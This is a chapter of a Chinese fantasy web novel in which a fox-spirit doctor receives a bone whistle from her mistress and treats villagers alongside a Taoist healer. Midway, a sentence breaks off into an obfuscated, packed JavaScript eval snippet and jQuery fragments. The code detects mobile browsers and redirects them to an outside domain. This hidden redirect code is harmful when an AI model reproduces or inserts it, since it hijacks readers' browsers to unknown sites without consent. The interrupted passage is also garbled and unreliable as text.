翌日,天刚泛起鱼肚白。
苏璃的耳朵轻轻动了动,缓缓睁开眼。身旁的白骨夫人早已醒了,正半倚着身子,冰凉的指尖有一搭没一搭地梳理着她背上的毛发。
昨夜,苏璃依旧化作原型,陪白骨夫人一起睡觉。习惯是个很可怕的东西,她从最初的抗拒,变得渐渐适应,现在甚至还有些沉溺其中。
就像那些小妖说的一样,夫人身上有股特别好闻的气味,有点像花香,但是却比花香少了一份馥郁,多了一丝清雅。
那游走于皮毛间的冰凉手指,力道也是恰到好处,带来难以言喻的舒适。苏璃不禁腹诽,这女人究竟摸过多少小动物,才有如此熟稔的手法。
“醒了?”白骨夫人捏了捏她的耳朵。
“嗯。”苏璃点点头,悄悄将耳朵从从夫人指间解救出来,此时脖颈处却忽然传来一丝微凉的陌生触感,“这是……?”
那是一枚用红线穿着的哨子,哨身小巧,温润如玉,但苏璃却看得出,这是枚用人类的指骨制成的骨哨,而且其中隐隐透出一丝与白骨夫人同源的气息。
这是夫人的骨头!
苏璃心下一惊,连忙变回人形,一把抓住白骨夫人的手,急切地在她每一根指节上摸索着,生怕寻到一丝受伤的痕迹。
“想什么呢?”白骨夫人被她这反应逗得轻笑出声,反握住她的手,“如今血灵芝现世,我需在洞府镇守。这骨哨予你,切记随身携着,若遇危难,”她牵引着苏璃的手,按在苏璃胸口的骨笛上道,“吹响它。”
确认夫人十指完好无损,苏璃悬着的心才落回原处。
“夫人放心,我会照顾好自己的。”她慎重地点点头,感受着掌心的骨笛,一股暖流悄然涌入心田。
-
苏璃回到青云观时,已是晌午。
几个执殿的道士看见她,招呼道:“苏大夫,回来了?”
“回来了。”苏璃颔首。
“大夫,您吃供果吗?我们刚巧要换下去。”一个年长点的道士问道。
“多谢。”
苏璃恭敬地给王母娘娘上了三炷香,拜了三拜,方才接过老道士递来的供果。
“怎不见凌虚道长?”苏璃问道。
“凌虚师兄在偏殿坐着呢。”淼淼答道,“因您和夫人不在,她这两日都在医馆坐诊。”
苏璃点点头,转身走向偏殿的济世堂。
堂内,凌虚子端坐在诊桌旁,整理着几卷泛黄医书。听见脚步声,她眼皮未抬,只是淡淡道:“我还以为你不回来了。”
“怎会,不过是和夫人回去探亲罢了。”苏璃微笑着,坐到诊桌对面,“这两日有劳道长照看济世堂了。”
“治病救人,分内之事。”凌虚子语气依旧平淡。
苏璃对凌虚子的反应毫不意外,问道:“这两日,道长可遇到什么棘手病患?”
凌虚子随手扔给她一本册子,苏璃翻开一看,发现是本就诊记录,其上详细记载了每位病患的性别、年龄、症状,以及凌虚子开出的药方和施治手法。
苏璃一行行细读下去,心中感叹古代医术的博大精深。
“苏大夫!苏大夫!您可算回来了!”
就在这时,观外响起一个粗犷洪亮的声音。
苏璃眼神询问地看向凌虚子。
“他前天过来寻过你。”凌虚子解释道。
苏璃循声望去,来人原是赵瘸子——不,此时应该叫他赵大哥了。
只见他大步流星地走了进来,脸上压抑不住的喜悦,身后跟着一男一女两名中年人,应是他的儿女,两人手里抱着满满的谢礼。
“苏大夫,真的太谢谢您了!”赵大哥几步跨到苏璃面前,激动地握住她的手道,“您瞧瞧,我这腿真的全好了!您真是活神仙哪!”
“没事,赵大哥言重了。”苏璃笑着招呼道,“您快坐下,我看看恢复得如何了。”
“哎!好!好!”赵大哥连声应着,一屁股坐在诊桌前的凳子上,他卷起裤腿,手术留下的疤痕愈合得极好,变成一道浅浅的粉红色疤痕。
“这里痛吗?”苏璃按着一处肌肉问。
“不痛!”赵大哥摇头
“这里呢?用力按下去呢?”
“没事!都没事!”
“苏大夫,您看我父亲这腿……”他身后的女儿关切地上前问道。
苏璃又仔细观察了他的步态和动作,点头道:“恢复得不错,但还需要注意,重活累活暂时少做,每日可以多走动走动,再过半年,这腿便能与另一条无异了。”
“唉!好好好!苏大夫您的话我们记心里了!”赵大哥一家连连点头,他们将带来的东西一股脑儿放到诊桌上,“苏大夫,这是咱家自己的布匹,都是顶好的料子!还有这些吃食,是跑商的从南方带来的!您千万收下,是我们一点心意!”
“赵大哥太客气了。”苏璃目光扫过那些布匹,其中一匹月牙白带暗纹的吸引了她的注意。她上手摸了摸,轻声道:“这料子,我家夫人应会喜欢。”
“喜欢就好!喜欢就好!”赵大哥见苏璃愿意收下,高兴得直搓手。
他女儿听闻,连忙接口道:“苏大夫,您要是需要,我们店里可以帮忙把这料子做成成衣,样式保管合身又好看!”
“真的吗?那便有劳了。”苏璃笑着应下。白骨夫人赠她骨哨,她正愁不知如何回礼。虽只是凡间衣物,但也是一份心意。
以后若是有机会,她再寻些更好的东西赠与夫人。
待苏璃与赵大哥女儿细细商量完做衣细节,赵家一行人这才千恩万谢,高高兴兴地离开了。
“他那腿,你是如何医治的?”待他们走后,凌虚子忽然问道。
苏璃想了想,解释道:“你可以理解为‘正骨’,但是与你们正骨不同,我是直接切开皮肉,将他的骨头摆回正确的位置,再重新固定让其长好。”
凌虚子听闻,若有所思地点点头,目光再次落回医书,口中低喃:“开肉见骨……此法,倒是在古籍中有记载。”
济世堂刚恢复片刻宁静,淼淼小道士便扶着村里的陈婶进来了。
只见她脸色煞白,捂着肚子佝偻着腰,额角冷汗密布。
“大夫……哎呦……我肚子,疼得厉害,求求你们,救救我……”陈婶有气无力地说着,话没说完,就哇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977652|177848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啦哇啦地吐了一地污秽。
“这……”陈婶慌忙地想要清理,苏璃连忙制止。
“没事,婶子您先坐下!”苏璃上前一步,小心地将陈婶搀扶到诊桌旁的凳子上。
“唉,好,谢谢大夫,谢谢大夫。”陈婶连连道谢。
“婶子,这疼是何时开始的?今日可吃了什么特别的东西?”苏璃温声询问。
“就今天下午,突然开始的。”陈婶缓了口气,“俺也没吃啥特别的啊,早上喝了碗白粥,中午是白米饭就了个炒鸡蛋。”
苏璃听着,不像是吃坏了东西,到底是什么病呢……
凌虚子也走了过来,她的指尖搭上陈婶腕间脉门,突然问道:“你今天是不是和别人吵架了?”
陈婶已经疼得说不出话了,只能虚弱地连连点头。
苏璃诧异地看向凌虚子,心道这都能看出来了吗?
凌虚子让陈婶躺下,转身走向一旁药柜,取出艾条点燃,淡淡的艾草焦香很快在堂内弥漫开来。
见苏璃面上的探究之色,凌虚子将点燃的艾条递给她道:“灸中脘、天枢。
苏璃接过凌虚子递来的艾条点了点,小心悬于陈婶腹部中脘穴上方。
另一边,凌虚子已展开针囊,取出一根细长的银针。她握住陈婶的手,在其手背虎口处的合谷穴稳稳刺入。银针轻旋,陈婶紧蹙的眉头似乎松了一分。接着,她又取针,在陈婶小腿外侧的足三里穴下针。
随着艾灸的热力与针灸的疏导,陈婶腹中的绞痛终于渐渐平息。
凌虚子又取出一粒褐色药丸,递过一杯温水。陈婶服下药丸,长长舒了一口气,面上也渐渐恢复了血色。
“谢谢你们,大夫,真的太谢谢了!”她感激地说道。
凌虚子提笔写下一张药方,递给陈婶道:“我开了点药,煎服三日,一日两次。”她顿了顿,劝道,“若是遇到什么烦心事莫要憋着,郁气久积,终成大患。”
陈婶听闻,先是一怔,随后眼泪便决堤般涌出。
“哎呦,大夫啊……”她边哭边诉,“可我就是气不过啊!我家那老头子,每天除了吃就是睡,说他两句就不耐烦,今天中午吃饭我又和他大吵了一架,唉……”
陈婶絮絮叨叨说了许多,苏璃和凌虚子这一妖一道,好说歹说才将情绪激动的陈婶劝了回去。
送走陈婶,堂内终于重归宁静。
“道长,您是如何判断出陈婶是因为吵架导致的肚子疼呢?”苏璃和凌虚子一同整理着用具,问道。
“其脉弦紧而滞,中焦淤堵,又肝气郁结之象。”凌虚子正擦拭着银针,闻言动作未停,解释道,“如今正值暑夏,你先前问其饮食,皆为温热寻常之物,并非寒邪直中。若非寒邪,那便是情志所伤了。”
苏璃听闻,感觉这症状与西医里的肠痉挛颇为相似,但西医疗法却不如凌虚子这般精准对症,心头不由再叹其医术高明。
她思考平片刻,认真地看向凌虚子,郑重地行了一礼,道:“凌虚道长,您可否教我医术?”
凌虚子擦拭银针的手顿住,她缓缓抬起头,眼中掠过一丝惊诧,问道:“让我教你医术?”